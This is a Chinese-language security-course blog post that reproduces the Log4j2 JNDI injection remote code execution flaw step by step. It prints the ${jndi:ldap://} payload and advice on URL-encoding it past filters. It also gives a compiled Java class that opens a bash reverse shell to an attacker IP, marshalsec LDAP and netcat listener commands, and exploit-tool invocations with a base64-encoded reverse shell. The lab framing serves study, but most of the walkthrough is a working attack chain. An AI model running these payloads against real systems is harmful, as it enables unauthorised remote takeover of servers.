• 网络安全深入学习第四课——热门框架漏洞(RCE— Log4j2远程代码执行)



    一、log4j2

    log4j2是全球使用广泛的java日志框架,同时该漏洞还影响很多全球使用量的Top序列的通用开源组件。


    二、背景

    ------ 2021年11月24日,阿里云安全团队向Apache官方报告了Apache Log4j2远程代码执行漏洞。由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。

    ------ 2021年12月9日,国内多家机构监测到Apache Log4j2存在任意代码执行漏洞,并紧急通报相关情况。由于Apache Log4j存在递归解析功能,未取得身份认证的用户,可以从远程发送数据请求输入数据日志,轻松触发漏洞,最终在目标上执行任意代码。鉴于Apache Log4j本身涉及多种应用组件,将此漏洞威胁等级调整为:严重。


    三、影响版本

    Log4j2.x<=2.14.1


    四、漏洞原理

    • 构造的payload是这样的:
      ${jndi:ldap://xxx.xxx.xxx.xxx:1389/Exp}

    ------ 该漏洞是由于Apache Log4j2某些功能存在递归解析功能,未经身份验证的攻击者通过发送特定恶意数据包,可在目标服务器上执行任意代码。

    ------ Log4j2组件在处理程序日志记录时存在JNDI注入缺陷,未经授权的攻击者利用该漏洞,可向目标服务器发送精心构造的恶意数据,触发Log4j2组件解析缺陷,实现目标服务器的任意代码执行,获得目标服务器权限。


    五、LDAP和JNDI是什么

    ------ LDAP全称是Lightweight Directory Access Protocol( 轻型目录访问协议),LDAP可以理解是一个简单存储数据的数据库。

    ------ LDAP有一个客户端和服务器端,server端是用来存放资源,client端主要用于查询等操作。服务端都是由各大厂商的产品的比如Microsoft的AD,当然可以自己做。客户端通过LDAP协议去访问服务器端。

    ------ JNDI (JAVA NAMING AND Directory interface,Java命名和目录接口),则是Java中用于访问LDAP的API,是为了Java程序访问命名服务和目录服务而提供的统一API。

    ------ 所以上述的payload ${jndi:ldap://xxx.xxx.xxx.xxx:1389/Exp}相当于ldap通过jndi来提供服务。xxx.xxx.xxx.xxx这个是LDAP服务器端的IP地址,LDAP服务器是默认开启1389端口的,Exp是一个不存在的文件名。说白了,就是通过java中的JNDI 访问ldap协议的服务。


    六、漏洞手工复现

    1、利用DNSlog来测试漏洞是否存在

    在DNSlog上获取一个域名:dfkemb.dnslog.cn
    在这里插入图片描述

    在burp构造payload重新发送
    ${jndi:ldap:// dfkemb.dnslog.cn:1389/Exp}
    在这里插入图片描述
    加入返回包回显400,那就说明payload被过滤,这时候就可以把payload进行URL编码再发送。

    返回DNSlog查看
    在这里插入图片描述
    这样就说明存在漏洞

    2、加载恶意文件Exploit.java,将其编译成class文件

    利用到javac来进行编译,但这对Java版本有要求,Java版本适用 的jdk 版本:JDK 11.0.1、8u191、7u201、6u211 之前
    下面是Exploit.java的内容
    在这里插入图片描述

    // javac TouchFile.java
    import java.lang.Runtime;
    import java.lang.Process;
    public class Exploit {
    	static {
    		try {
    			Runtime rt = Runtime.getRuntime();
    			String[] commands = {"bash", "-c", "bash -i >& /dev/tcp/192.168.188.177/1234 0>&1"};
    			Process pc = rt.exec(commands);
    			pc.waitFor();
    		} catch (Exception e) {
    			// do nothing
            }
        }
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15

    使用javac编译:javac Exploit.java
    在这里插入图片描述
    编译后就生产一个Exploit.class文件

    3、开启web服务

    python3 -m http.server 80
    在这里插入图片描述

    4、在恶意文件Exploit.class所在的目录开启LDAP服务

    利用工具:marshalsec-0.0.3-SNAPSHOT-all.jar

    java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.188.177/#Exploit" 9999
    
    • 1

    在这里插入图片描述
    这一步相当于把攻击机变成服务器,让目标服务器作为客户端来访问我的攻击机。

    5、监听反弹shell的端口

    nc -lvnp 1234
    在这里插入图片描述

    6、返回前端,让受害者访问ldap的端口

    在这里插入图片描述

    最后再回到监听窗口查看:
    在这里插入图片描述
    这里就成功反弹shell了。

    7、要点总结

    • 上面第2、3、4、5步都是在攻击者端操作,只有第6步是在普通前端操作。
    • 上面一共开启了3个端口,分别是80、1234、9999。这分别对应的是:web服务、接收反弹shell的、ldap服务。

    七、漏洞工具复现

    1、使用工具:JNDIExploit-1.2-SNAPSHOT.jar

    在这里插入图片描述
    -i是攻击机所在的IP,-l是LDAP服务开启的端口,-p是web服务开启的端口,-u是攻击后payload的使用方式。

    POC:
    java -jar JNDIExploit-1.2-SNAPSHOT.jar -l 1389 -p 8888 -i 192.168.188.177
    在这里插入图片描述

    利用-u来查看使用的payload
    在这里插入图片描述

    选一条payload在前端来发送请求
    这里选了ldap://null:1389/Basic/Command/[cmd] 这一条
    在这里插入图片描述

    2、使用工具:JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar

    POC:
    java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C “bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE4OC4xNzcvMjg4OCAwPiYx}|{base64,-d}|{bash,-i}” -A “192.168.188.177”

    其中:YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE4OC4xNzcvMjg4OCAwPiYxbash -i >& /dev/tcp/192.168.188.177/2888 0>&1的反弹shell命令的base64编码

    上面的POC就是让受害者访问192.168.188.177:1389这个开启了LDAP服务的攻击端,然后就反弹shell到192.168.188.177:2888这个地址和端口。

    如下图
    在这里插入图片描述
    这图受害者要访问的POC是:ldap://192.168.101.130:1389/ayox8z


    八、总结

    ------ Log4j2漏洞总的来说就是:因为Log4j2默认支持解析ldap/rmi协议(只要打印的日志中包括ldap/rmi协议即可),并会通过名称从ldap服务端其获取对应的Class文件,并使用ClassLoader在本地加载Ldap服务端返回的Class类。

    ------ Apache Log4j 远程代码执行漏洞,正是由于组件存在 Java JNDI 注入漏洞:当程序将用户输入的数据记入日志时,攻击者通过构造特殊请求,来触发 Apache Log4j2 中的远程代码执行漏洞,从而利用此漏洞在目标服务器上执行任意代码。

    ------ 利用jndi访问ldap服务后,ldap服务返回了class攻击代码,被攻击的服务器执行了攻击代码。远程代码执行漏洞,是利用了Log4j2可以对日志中的“${}”进行解析执行,来进行攻击的。

    ------ 简单来说就是Java中存在jndi这个接口用来访问ldap服务,因为Log4j2默认支持解析ldap/rmi协议,普通服务器访问ldap服务会直接解析服务中的class文件,而无需过滤。攻击者就利用这一点,在class文件中写入恶意代码,当普通服务器访问ldap服务时就会解析了存在恶意代码的class文件并且执行,从而被攻击。


  • 相关阅读:
    c++迭代器STL中的vector简单概述
    【JMeter】定时器分类以及场景介绍
    【LeetCode-278】第一个错误的版本
    Linux 查看某个端口的连接数
    Android 插件化技术应运而生出的 Apk 动态加载技术的开源框架
    唉,现在说什么都晚了,真没想到,2022年就要过完了
    mybatis LambdaQueryWrapper之复杂与或非sql逻辑编写
    说说Flink双流join
    SVN的基本使用
    wget、curl命令
  • 原文地址:https://blog.csdn.net/p36273/article/details/132921338